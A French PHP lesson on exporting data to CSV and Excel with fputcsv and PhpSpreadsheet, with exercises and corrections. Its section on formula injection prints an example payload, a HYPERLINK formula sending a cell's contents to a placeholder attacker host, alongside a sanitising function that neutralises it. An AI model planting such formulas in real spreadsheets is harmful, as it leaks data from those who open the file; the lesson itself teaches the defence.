Avez-vous une question? (216) 97 656 803 hajjriadh@gmail.com
Les cours de programmation

Exporter les données en CSV et Excel (PhpSpreadsheet)

Cette leçon montre comment exporter des données vers un tableur. Elle présente l'export CSV avec fputcsv, le choix du séparateur et l'indicateur UTF-8 nécessaire à Excel, puis l'export au format XLSX ...

0 chapitres 0 QCM Accès gratuit
Exporter les données en CSV et Excel (PhpSpreadsheet)

À propos de ce cours

Cette leçon montre comment exporter des données vers un tableur. Elle présente l'export CSV avec fputcsv, le choix du séparateur et l'indicateur UTF-8 nécessaire à Excel, puis l'export au format XLSX avec la bibliothèque PhpSpreadsheet : styles, formules, largeur des colonnes, filtres et figement de la première ligne. Elle traite la sécurité contre l'injection de formules et les gros volumes, et organise les exports derrière une interface commune à plusieurs formats.

Objectifs de la leçon

  • Produire un CSV lisible par Excel.
  • Se protéger de l'injection de formules.
  • Créer un fichier XLSX mis en forme avec PhpSpreadsheet.
  • Gérer de grands volumes de données.
  • Rendre les formats d'export interchangeables par une interface.

1. Mise en situation

Chaque fin de mois, le service comptable demande la liste des inscriptions dans Excel, et la coordinatrice veut les notes de la promotion pour faire ses propres graphiques. Aujourd'hui, quelqu'un copie les tableaux du site à la main… et les accents arrivent dans Excel sous la forme « é ».

Deux formats répondent à ce besoin : le CSV, simple et universel, et le format Excel (XLSX), qui conserve les styles et les formules. Nous allons produire les deux à partir des mêmes données, grâce au polymorphisme.

2. Exporter en CSV

Deux formats d’export

Deux formats d’export

<?php
header('Content-Type: text/csv; charset=UTF-8');
header('Content-Disposition: attachment; filename="inscriptions-' . date('Y-m') . '.csv"');

$sortie = fopen('php://output', 'w');
fwrite($sortie, "\xEF\xBB\xBF");                                // BOM : Excel reconnaît l'UTF-8
fputcsv($sortie, ['Matricule', 'Nom', 'Prénom', 'Formation', 'Date'], ';');   // ; pour Excel en français
foreach ($inscriptions as $i) {
    fputcsv($sortie, [$i->matricule, $i->nom, $i->prenom, $i->formation, $i->date->format('d/m/Y')], ';');
}
fclose($sortie);

fputcsv() gère automatiquement les guillemets et les séparateurs contenus dans les valeurs. Le point-virgule est le séparateur attendu par Excel configuré en français, car la virgule y sert de séparateur décimal.

3. L'injection de formules (CSV injection)

<?php
function celluleSure(mixed $v): mixed
{
    if (is_string($v) && $v !== '' && in_array($v[0], ['=', '+', '-', '@', "\t", "\r"], true)) {
        return "'" . $v;                     // Excel affichera le texte au lieu d'exécuter une formule
    }
    return $v;
}

Un candidat qui saisit =HYPERLINK("http://pirate.example?d="&A2;"Cliquez") comme nom peut, à l'ouverture du fichier par un employé, provoquer l'exécution d'une formule. Toute donnée saisie par un utilisateur doit être neutralisée avant l'export.

4. Exporter en Excel avec PhpSpreadsheet

composer require phpoffice/phpspreadsheet
<?php
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Xlsx;

$classeur = new Spreadsheet();
$feuille = $classeur->getActiveSheet();
$feuille->setTitle('Notes DSI');
$feuille->fromArray(['Matricule', 'Nom', 'POO', 'BD', 'Web', 'Moyenne'], null, 'A1');
$ligne = 2;
foreach ($bulletins as $b) {
    $feuille->fromArray([$b->matricule, $b->nom, $b->note('POO'), $b->note('BD'), $b->note('WEB')], null, "A$ligne");
    $feuille->setCellValue("F$ligne", "=ROUND((C$ligne*3+D$ligne*2+E$ligne*2)/7,2)");      // formule Excel
    $ligne++;
}
$feuille->getStyle('A1:F1')->getFont()->setBold(true);
$feuille->getStyle('A1:F1')->getFill()->setFillType('solid')->getStartColor()->setRGB('00D8FF');
foreach (range('A', 'F') as $col) { $feuille->getColumnDimension($col)->setAutoSize(true); }
$feuille->setAutoFilter('A1:F' . ($ligne - 1));
$feuille->freezePane('A2');                              // première ligne toujours visible

header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
header('Content-Disposition: attachment; filename="notes.xlsx"');
(new Xlsx($classeur))->save('php://output');

5. Les grands volumes

PhpSpreadsheet garde tout le classeur en mémoire : au-delà de quelques dizaines de milliers de lignes, préférez le CSV écrit ligne par ligne à partir d'un générateur, ou une bibliothèque d'écriture en flux comme openspout/openspout. Côté base, parcourez les résultats avec fetch() plutôt que fetchAll().

6. Vers la POO : des exporteurs interchangeables

<?php
declare(strict_types=1);

interface Exporteur
{
    public function typeMime(): string;
    public function extension(): string;
    /** @param iterable<array> $lignes */
    public function exporter(array $entetes, iterable $lignes): void;   // écrit sur la sortie
}

final class ExporteurCsv implements Exporteur
{
    public function typeMime(): string { return 'text/csv; charset=UTF-8'; }
    public function extension(): string { return 'csv'; }

    public function exporter(array $entetes, iterable $lignes): void
    {
        $f = fopen('php://output', 'w');
        fwrite($f, "\xEF\xBB\xBF");
        fputcsv($f, $entetes, ';');
        foreach ($lignes as $l) { fputcsv($f, array_map(celluleSure(...), $l), ';'); }
        fclose($f);
    }
}

final class ExporteurXlsx implements Exporteur
{
    public function typeMime(): string { return 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'; }
    public function extension(): string { return 'xlsx'; }

    public function exporter(array $entetes, iterable $lignes): void
    {
        $c = new Spreadsheet();
        $s = $c->getActiveSheet();
        $s->fromArray($entetes, null, 'A1');
        $s->getStyle('1:1')->getFont()->setBold(true);
        $n = 2;
        foreach ($lignes as $l) { $s->fromArray(array_map(celluleSure(...), $l), null, "A$n"); $n++; }
        $s->freezePane('A2');
        (new Xlsx($c))->save('php://output');
    }
}

final class ServiceExport
{
    public function telecharger(Exporteur $exporteur, string $nom, array $entetes, iterable $lignes): never
    {
        header('Content-Type: ' . $exporteur->typeMime());
        header('Content-Disposition: attachment; filename="' . $nom . '.' . $exporteur->extension() . '"');
        $exporteur->exporter($entetes, $lignes);
        exit;
    }
}

$exporteur = match ($_GET['format'] ?? 'csv') { 'xlsx' => new ExporteurXlsx(), default => new ExporteurCsv() };
(new ServiceExport())->telecharger($exporteur, 'inscriptions', ['Matricule', 'Nom', 'Formation'], $depot->lignesExport());

L’interface des exporteurs

Diagramme de classe UML de Exporteur

Exercice Activités
  1. Pourquoi écrire \xEF\xBB\xBF au début d'un CSV destiné à Excel ?
  2. Pourquoi utiliser le point-virgule comme séparateur ?
  3. Qu'est-ce que l'injection de formules et comment s'en protéger ?
  4. Avec PhpSpreadsheet, comment figer la première ligne et ajouter un filtre ?
  5. Ajoutez un ExporteurJson à la hiérarchie.
  6. Pourquoi lignesExport() devrait-il renvoyer un générateur pour 100 000 lignes ?
Correction
  1. C'est l'indicateur d'ordre des octets UTF-8 (BOM) : sans lui, Excel lit le fichier dans un autre encodage et les accents sont mal affichés.
  2. Excel en français attend ;, car la virgule y est le séparateur décimal.
  3. Une valeur commençant par = + - @ est interprétée comme une formule par le tableur ; on la préfixe d'une apostrophe avant l'export.
  4. $feuille->freezePane('A2'); $feuille->setAutoFilter('A1:F100');
  5. final class ExporteurJson implements Exporteur { public function typeMime(): string { return 'application/json'; } public function extension(): string { return 'json'; } public function exporter(array $e, iterable $l): void { $r = []; foreach ($l as $x) { $r[] = array_combine($e, $x); } echo json_encode($r, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); } }
  6. Pour ne pas charger toutes les lignes en mémoire : chaque ligne est lue (fetch()) puis écrite, une à la fois.

Résumé

  • CSV : fputcsv(), séparateur ;, BOM UTF-8.
  • Neutraliser les valeurs qui commencent par = + - @.
  • PhpSpreadsheet : styles, formules, largeurs, filtres, volets figés.
  • Grands volumes : CSV en flux et générateurs.
  • Une interface Exporteur rend les formats interchangeables.

Cet article vous a-t-il aidé ?